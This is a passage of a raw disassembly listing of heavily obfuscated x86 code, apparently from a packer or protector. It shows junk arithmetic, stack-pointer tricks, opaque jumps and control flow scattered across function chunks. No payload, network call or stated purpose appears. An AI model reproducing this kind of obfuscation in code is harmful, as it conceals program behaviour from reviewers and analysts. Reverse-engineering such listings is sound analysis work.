[esp+4+var_4] jmp loc_59CE93 ; END OF FUNCTION CHUNK FOR sub_5A600D ; --------------------------------------------------------------------------- loc_59E483: ; CODE XREF: sdfs____:0059C3D0j sub esp, 4 mov [esp], ecx mov ecx, esp push edx mov edx, 4ECE668Fh jmp loc_59CD12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59E496: ; CODE XREF: sub_5A477C+41D7j add ebx, 4AC6549Ch add eax, ebx pop ebx push ebp mov ebp, 5C932C9Ch add eax, ebp mov ebp, [esp-4+arg_0] jmp loc_59D52C ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB5A9 loc_59E4AF: ; CODE XREF: sub_5AB5A9-A48Fj push ecx mov ecx, 4863B8h inc ecx jmp loc_5B00AA ; END OF FUNCTION CHUNK FOR sub_5AB5A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_59E4BB: ; CODE XREF: sub_5ADD33-5E11j push 544Fh mov [esp+0Ch+var_C], esp push ebp mov ebp, 4 add [esp+10h+var_C], ebp pop ebp jmp loc_5AA94B ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59E4D3: ; CODE XREF: sub_59C979+6877j mov [esp+6+var_6], esp add [esp+6+var_6], 4 pop edi jmp loc_5A2032 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- loc_59E4E0: ; CODE XREF: sdfs____:0059CD18j sub edx, 7476061h not edx sub edx, 4398B223h add ecx, edx pop edx sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edx push 2824h mov [esp], esp jmp loc_5A68E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_59E50D: ; CODE XREF: sub_5A2E41-7391j ; sub_5A0AA2+8EC8j and eax, 3D95181Fh shl eax, 8 inc eax jmp loc_5A209B ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_59E51B: ; CODE XREF: sub_5A118F+AE2j sub esi, 38CA139Fh pop ebx mov ecx, [esp+8+var_8] add esp, 4 add ebx, esi push [esp+4+var_4] pop esi add esp, 4 xor eax, ebx mov ebx, [esp+0] jmp loc_5A9A6A ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF3AA loc_59E541: ; CODE XREF: sub_5AF3AA-D27Cj add edx, 4 push ebp mov ebp, 4 sub edx, ebp pop ebp xor edx, [esp+0Ch+var_C] xor [esp+0Ch+var_C], edx xor edx, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], ebx push 322F7F49h mov ebx, [esp+0Ch+var_C] add esp, 4 jmp loc_5A29BD ; END OF FUNCTION CHUNK FOR sub_5AF3AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59E56D: ; CODE XREF: sub_5A5EFF-6770j jmp loc_5AEB6A ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59E572: ; CODE XREF: sub_5AA2D1-1109Fj mov ecx, [esp-4+arg_0] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_59C6E7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59E586: ; CODE XREF: sub_5A5EFF+CD5j add ebp, 1 jmp loc_5AA5B7 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- loc_59E591: ; CODE XREF: sdfs____:005A3098j neg eax js loc_5AC77D neg eax push eax not dword ptr [esp] pop eax sub eax, 9CBFEF4Eh mov ebx, eax ; START OF FUNCTION CHUNK FOR sub_5AF46F loc_59E5A7: ; CODE XREF: sub_5AF46F-122EAj mov ebx, esp add ebx, 4 push ebp push 4 pop ebp jmp loc_5A6C51 ; END OF FUNCTION CHUNK FOR sub_5AF46F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0278 loc_59E5BB: ; CODE XREF: sub_5A0278-616j mov [esp+0Ch+var_C], ebx mov ebx, 3E527154h shl ebx, 4 jmp sub_5A2E28 ; END OF FUNCTION CHUNK FOR sub_5A0278 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD6D4 loc_59E5CB: ; CODE XREF: sub_5A9B1D-B368j ; sub_5AD6D4-A949j push edi xor [esp+10h+var_10], 331D696Ah pop esi xor esi, 331D696Ah push eax mov eax, esi mov ebp, eax pop eax pop esi jmp loc_5A534B ; END OF FUNCTION CHUNK FOR sub_5AD6D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59E5E6: ; CODE XREF: sub_5AA2D1+225Bj add eax, 4 xchg eax, [esp+0] pop esp xor edi, [esp-4+arg_0] jmp loc_59EC35 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59E5F7: ; CODE XREF: sdfs____:0059DA52j ; sub_5A6BBC-2F29j mov esi, ebx jmp loc_59BAEA ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59E5FE: ; CODE XREF: sub_5AA2D1-995Cj add esp, 4 jmp loc_5AC5FC ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_59E609: ; CODE XREF: sub_5A0AA2-5Ej pop edi jmp loc_5AE77D ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59E60F: ; CODE XREF: sub_59C979:loc_599F29j push small 744Ch mov [esp+2+var_2], cx jmp loc_5A3856 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59E61C: ; CODE XREF: sub_5A5EFF-6676j jmp loc_5A2A2E ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_59E621: ; CODE XREF: sub_5AD795-AE5Bj push edx push ecx jmp loc_5A0082 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_59E628: ; CODE XREF: sub_5A9EC5-DA20j add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5AFA60 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59E63A: ; CODE XREF: sub_5A5EFF-19D1j pop eax add edx, 12C43BA9h pop ebp ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59E642: ; CODE XREF: sub_5AA2D1-10D8Aj ; sub_5A5EFF-783Cj push 62Bh mov [esp-18h+arg_14], edx push ebp push 10466AC2h jmp loc_5A3222 ; --------------------------------------------------------------------------- loc_59E655: ; CODE XREF: sub_5AA2D1-483Aj sub ch, dh pop dx jmp loc_59BEE5 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_59E65E: ; CODE XREF: sub_5A63DC-9BB5j mov ebp, [esp+8+var_8] add esp, 4 push ebx mov ebx, 49471F1Ch or ebx, 772867D0h push edi mov edi, 80908028h add ebx, edi jmp loc_59CA81 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59E67D: ; CODE XREF: sub_5AA2D1-EC1j xor ebp, 0EDFFEB8Bh mov edx, ebp pop ebp sub esi, 406F1677h add esi, edx add esi, 406F1677h pop edx and [edi+1Ch], esi pop esi jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB08D loc_59E69E: ; CODE XREF: sub_5AB08D-117AEj push edi jmp loc_5AB0E0 ; END OF FUNCTION CHUNK FOR sub_5AB08D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59E6A4: ; CODE XREF: sub_5A5EFF+46DCj add ecx, ebp add ecx, 442D3DA4h pop ebp sub esp, 4 mov [esp+0], ecx push [esp+arg_0] pop ecx pop dword ptr [esp+0] mov esp, [esp-4+arg_0] or eax, eax jnz loc_59E642 mov edx, 3F2D1666h add edx, 22595C22h jo loc_59E9DF inc edx js loc_5A4B26 and edx, 5DA21A64h jg loc_59F78B inc edx shl edx, 6 jnz loc_5A161C mov esi, edi loc_59E6F9: ; CODE XREF: sub_5A5EFF+64F6j add esi, ebx pop ebx sub esi, 4 jmp loc_59DC67 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_59E707: ; CODE XREF: sub_59A479+10440j mov [esp+8+var_8], edi mov edi, esp push eax mov eax, 2E4C5AE2h inc eax not eax jmp loc_5AFD96 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_59E71A: ; CODE XREF: sub_59A9E9+151BDj sub edx, 4 xchg edx, [esp+10h+var_10] mov esp, [esp+10h+var_10] mov [esp+10h+var_10], ecx jmp loc_59F63C ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3E64 loc_59E72B: ; CODE XREF: sub_5A3E64+B2D0j xor eax, ecx pop ecx push ecx mov ecx, 12CF3CC5h shr ecx, 6 jmp loc_599A55 ; END OF FUNCTION CHUNK FOR sub_5A3E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A633D loc_59E73C: ; CODE XREF: sub_5A633D+1j pop ecx pop ebp dec ecx add ecx, 0B9A7EC78h sub edx, ecx pop ecx push ecx push edx jmp loc_59A412 ; END OF FUNCTION CHUNK FOR sub_5A633D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59ED98 loc_59E74F: ; CODE XREF: sub_59ED98+1151Bj push cx mov cl, 9 add al, cl mov cx, [esp+0] push edx push esp pop edx add edx, 4 add edx, 2 xchg edx, [esp+0] pop esp push ecx mov cl, 68h sub cl, 0CEh xor cl, 0EEh add al, cl pop ecx sub al, cl jmp loc_5A9015 ; END OF FUNCTION CHUNK FOR sub_59ED98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59E77C: ; CODE XREF: sub_59D6B8-14DFj ; sub_5AB2EA-5AE0j push dword ptr [esp+4] pop ebp pop [esp+4+var_4] jmp loc_59AE4E ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59E789: ; CODE XREF: sub_59C979+9174j push eax push ecx pop eax pop ecx jmp loc_5B0421 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_59E792: ; CODE XREF: sub_5A0AA2+98CDj not ebx or ebx, 35452FE1h inc ebx jmp loc_59CD4A ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DE4B loc_59E7A0: ; CODE XREF: sub_59DE4B+7FF1j pop edx jmp loc_59E943 ; END OF FUNCTION CHUNK FOR sub_59DE4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9B1D loc_59E7A6: ; CODE XREF: sub_5A9B1D+2917j add edx, 5F0A668Ch sub edx, 738213E3h mov ecx, edx pop edx jmp loc_59E5CB ; END OF FUNCTION CHUNK FOR sub_5A9B1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A10E3 loc_59E7BA: ; CODE XREF: sub_5A10E3+15j mov ebp, 6F9A2B7Eh add ebx, ebp push [esp+8+var_8] pop ebp push ebp mov ebp, esp jmp loc_59FEE3 ; END OF FUNCTION CHUNK FOR sub_5A10E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_59E7CD: ; CODE XREF: sub_5A79BE+7D7Aj mov esp, [esp-4+arg_0] bt [esp-4+arg_0], eax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A600D loc_59E7DA: ; CODE XREF: sub_5A600D-C484j push eax mov ah, 8Dh shl ah, 4 xor ah, 32h jmp loc_5A8F18 ; END OF FUNCTION CHUNK FOR sub_5A600D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59E7E8: ; CODE XREF: sub_5AC803-230Aj ; sub_5AA2D1+1416j mov ecx, [esp-1Eh+arg_18+2] add esp, 4 pop [esp-22h+arg_1C+2] mov esp, [esp-26h+arg_20+2] mov [esp-26h+arg_20+2], edx mov edx, ebp push 1201h mov [esp-22h+arg_1C+2], edx add [esp-22h+arg_1C+2], 6CA033D5h pop eax jmp loc_5AA418 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_59E811: ; CODE XREF: sub_5AD243-204j add eax, esi pop esi push eax jmp loc_5A83B6 ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_59E81A: ; CODE XREF: sub_5A0FFF-19E9j push esi mov esi, 4 add ebp, esi pop esi jmp loc_5A105B ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB3DB loc_59E828: ; CODE XREF: sub_5AB3DB+4670j not edi dec edi neg edi jmp loc_5A9873 ; END OF FUNCTION CHUNK FOR sub_5AB3DB ; --------------------------------------------------------------------------- loc_59E832: ; CODE XREF: sdfs____:005AC7B0j sub al, 6Dh pop ecx mov edx, [esp] add esp, 4 add al, 70h sub al, bl sub al, 70h push 5789h mov [esp], ecx mov cl, 0B2h add al, cl pop ecx jmp loc_5A9955 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_59E853: ; CODE XREF: sub_5B01F7+Cj mov edx, [esp+14h+var_14] add esp, 4 jmp loc_5A62DE ; --------------------------------------------------------------------------- loc_59E861: ; CODE XREF: sub_5B01F7-C0CAj ; sdfs____:005A9762j xor edx, edi xor edi, edx xchg edi, edx not edi xchg edi, edx xchg edx, edi push ecx jmp loc_5A1F43 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A75B9 loc_59E873: ; CODE XREF: sub_5A75B9+12j mov [esp+8+var_8], ebx mov ebx, 1564559Dh push eax mov eax, 7491B94h xor ebx, eax pop eax xor ebx, 227A444Ah jmp loc_5A0125 ; END OF FUNCTION CHUNK FOR sub_5A75B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59E88F: ; CODE XREF: sub_5A477C-B1BFj mov eax, 7DE30A1Bh add eax, 93032A8h not eax dec eax jnp loc_59C573 jmp loc_59B701 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- pop edx jmp loc_5A5DC3 ; --------------------------------------------------------------------------- push edx ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_59E8AE: ; CODE XREF: sub_5A2E41+9BAFj add ebp, 196F300Ch not ebp sub ebp, 66B369DBh sub ebp, 3544295Ch sub edi, ebp pop ebp add edx, edi mov edi, [esp+0] push edi mov edi, esp jmp loc_5A341F ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59E8D2: ; CODE XREF: sub_59C979+F215j mov dh, 9Ah add dh, ah pop eax jmp loc_5A0DC5 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_59E8DC: ; CODE XREF: sub_59A26C+9j ; sub_5A580F+4D0Dj push esp mov ebp, [esp+0] add esp, 4 add ebp, 4 sub ebp, 4 push ebp push [esp+arg_0] pop ebp jmp loc_5A6BA5 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB3DB loc_59E8FD: ; CODE XREF: sub_5AB3DB-768Ej jmp loc_59D438 ; END OF FUNCTION CHUNK FOR sub_5AB3DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EB4 loc_59E902: ; CODE XREF: sub_5A9EB4-D873j xor esi, [esp+4+var_4] pop esp mov [esp+0], esi push 53133756h pop esi mov [edx+38h], esi pop esi jmp loc_5A5674 ; END OF FUNCTION CHUNK FOR sub_5A9EB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_59E918: ; CODE XREF: sub_59EE3E+3579j push dword ptr [esp+0] pop esi add esp, 4 add ebp, ebx mov ebx, [esp-4+arg_0] add esp, 4 push edx mov edx, 272C2ED3h sub edx, 272C2ED1h jmp loc_5ABBD6 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4DFC loc_59E93B: ; CODE XREF: sub_5A4DFC-3E6Fj mov ebx, [esp+6+var_8+2] jmp loc_5A23BC ; END OF FUNCTION CHUNK FOR sub_5A4DFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DE4B loc_59E943: ; CODE XREF: sub_59DE4B+956j add ebp, edx push ecx jmp loc_5AAAC2 ; END OF FUNCTION CHUNK FOR sub_59DE4B ; =============== S U B R O U T I N E ======================================= sub_59E94B proc near ; CODE XREF: sub_5A2789+660Cj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00599CFB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059A8D7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059B05C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059C566 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059DDA9 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0059E37C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059EDEA SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A141D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A19FE SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005A4828 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A567E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A56A2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A763E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A8499 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005A8C50 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A916B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A99CB SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005AA097 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AA61E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AA9BD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AB550 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AC722 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AE580 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AFA39 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AFB60 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005B0152 SIZE 0000000B BYTES push ebp mov ebp, 2C8116F8h sub ebp, 14EF62DFh inc ebp jmp loc_5A916B sub_59E94B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59E95D: ; CODE XREF: sub_5AA2D1-C9F9j push 6D39h mov [esp-8+arg_4], ebp mov ebp, 628CB195h xor edx, ebp mov ebp, [esp-8+arg_4] push edi push esp jmp loc_5A5339 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_59E976: ; CODE XREF: sub_5A63DC-EE6j add [esp+0], eax add dword ptr [esp+0], 518A20BFh push 35C3h mov [esp+4+var_4], edx push ebp push edx push ebx push 221D10D8h pop ebx shl ebx, 5 jp loc_5AB6B3 dec ebx jg loc_5A07C9 jmp loc_5AC15F ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59E9A6: ; CODE XREF: sub_59D6B8-3757j ; sub_5A4E04+1B96j add edi, 4 sub edi, 4 xchg edi, [esp+14h+var_14] pop esp jmp loc_5A3FEE ; --------------------------------------------------------------------------- loc_59E9BB: ; CODE XREF: sub_59D6B8+D43Fj push ecx mov ecx, 69061180h not ecx jmp loc_59983A ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59E9C8: ; CODE XREF: sub_59C979+6486j sub ecx, 8ECFF32Bh jmp loc_5A63BC ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FB1A loc_59E9D3: ; CODE XREF: sub_59FB1A+9A63j mov dh, 0BFh sub dh, cl mov ecx, [esp+0] jmp loc_5A0AF3 ; END OF FUNCTION CHUNK FOR sub_59FB1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59E9DF: ; CODE XREF: sub_5A5EFF-782Bj inc edx js loc_5A81DF and edx, 5DA21A64h jmp loc_5AD3F6 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_59E9F1: ; CODE XREF: sub_5B01F7-14502j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE40A loc_59E9F6: ; CODE XREF: sub_5AE40A-5DBEj inc edx dec edx xor edx, 3ED03ECEh jmp loc_5A7CBD ; END OF FUNCTION CHUNK FOR sub_5AE40A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59EA03: ; CODE XREF: sub_5A6BBC+546Fj sub cl, 54h add cl, 2Dh push [esp+8+var_8] pop edx add esp, 4 push dx mov dl, 23h jmp loc_5A61D6 ; --------------------------------------------------------------------------- loc_59EA1C: ; CODE XREF: sub_5A6BBC+5180j add edx, ebp pop ebp add edx, 4 xchg edx, [esp+8+var_8] mov esp, [esp+8+var_8] jmp loc_5A4034 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3C19 loc_59EA30: ; CODE XREF: sub_5A3C19+19j jp loc_59FDFE add ebx, 80C66AA1h add ecx, ebx and al, 0BFh ; END OF FUNCTION CHUNK FOR sub_5A3C19 ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_59EA40: ; CODE XREF: sub_5A2E41-D90j xchg eax, [esp+4+var_4] pop ebx xchg eax, ebx push ebx push eax pop ebx pop eax or ebx, 204D498Ah jmp loc_5B030D ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59EA54: ; CODE XREF: sub_5AA2D1-476Fj add esi, 0EFFF1F57h mov ecx, esi jmp loc_5A0C23 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_59EA61: ; CODE XREF: sub_5AB207-10441j sub ecx, 3FB773FAh mov ebx, ecx pop ecx jmp loc_5A75D0 ; END OF FUNCTION CHUNK FOR sub_5AB207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59EA6F: ; CODE XREF: sub_5992DA+8F55j pop edx push 2732h mov [esp+0Ch+var_C], edx mov edx, esp push esi mov esi, 4 add edx, esi pop esi add edx, 4 xor edx, [esp+0Ch+var_C] xor [esp+0Ch+var_C], edx xor edx, [esp+0Ch+var_C] jmp loc_59F06C ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_59EA94: ; CODE XREF: sub_5AC803-17DCj add eax, 4 sub esp, 4 jmp loc_5A0B1B ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59EAA4: ; CODE XREF: sub_59D6B8+10833j inc ecx jmp loc_5AF166 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC478 loc_59EAAA: ; CODE XREF: sub_5AC478+1j mov edx, esp jmp loc_59C7E5 ; END OF FUNCTION CHUNK FOR sub_5AC478 ; --------------------------------------------------------------------------- loc_59EAB1: ; CODE XREF: sdfs____:005AFE42j sub al, 0F3h sub al, 65h jmp loc_5A587D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_59EABA: ; CODE XREF: sub_599D0E+C38Aj add eax, ebx sub eax, 7C3A5B80h pop ebx add eax, 2 push esi mov esi, esp jmp loc_5A55B2 ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A917C loc_59EACF: ; CODE XREF: sub_5A917C+34BDj add eax, 4 jmp loc_5AA6DC ; END OF FUNCTION CHUNK FOR sub_5A917C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59EAD9: ; CODE XREF: sub_5A2E28-808Aj add esp, 4 or ecx, ecx jz loc_5A2E82 sub esp, 4 push esp pop [esp-8+arg_4] push edi push ebx mov ebx, 18760D4Bh mov edi, 5428245Fh sub edi, 35727F88h jnp loc_59BAE5 jmp loc_5A2FCE ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA26A loc_59EB08: ; CODE XREF: sub_5AA26A+8j pop ebp add ecx, 4 xchg ecx, [esp+0] pop esp push ecx jmp loc_5A097A ; END OF FUNCTION CHUNK FOR sub_5AA26A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_59EB19: ; CODE XREF: sub_5A2E41+DF9j add [esp+0Ch+var_C], 4 pop ebp jmp loc_59BED0 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59EB26: ; CODE XREF: sub_5992DA+8327j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0Ch+var_C] jmp loc_5996EC ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_59EB39: ; CODE XREF: sub_5A0AA2+77Cj xor ecx, 3B282332h jmp loc_5A1F96 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_59EB44: ; CODE XREF: sub_599A61+CD03j shl edx, 2 jns loc_5A2416 jmp loc_5A722B ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_59EB52: ; CODE XREF: sub_59F02F+11j mov ebp, 5DD96DAFh or ebp, 653F685Bh add ebp, 82009205h add ebx, 5B124DD9h sub ebx, 405B4A52h add ebx, ebp add ebx, 405B4A52h sub ebx, 5B124DD9h pop ebp xchg ebx, [esp+4+var_4] mov esp, [esp+4+var_4] push edi mov edi, 3BE805D3h add eax, edi pop edi sub eax, 602A279Ch jmp loc_5A2A4B ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- loc_59EB97: ; CODE XREF: sdfs____:005AC473j mov esi, edi jmp loc_59B402 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59EB9E: ; CODE XREF: sub_5A477C-5114j add edx, 4 add edx, 4 xchg edx, [esp-8+arg_4] pop esp mov ecx, [esp-0Ch+arg_8] add esp, 4 push edx push [esp-0Ch+arg_C] pop edx pop [esp-0Ch+arg_8] pop esp jmp loc_5A1EB5 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC 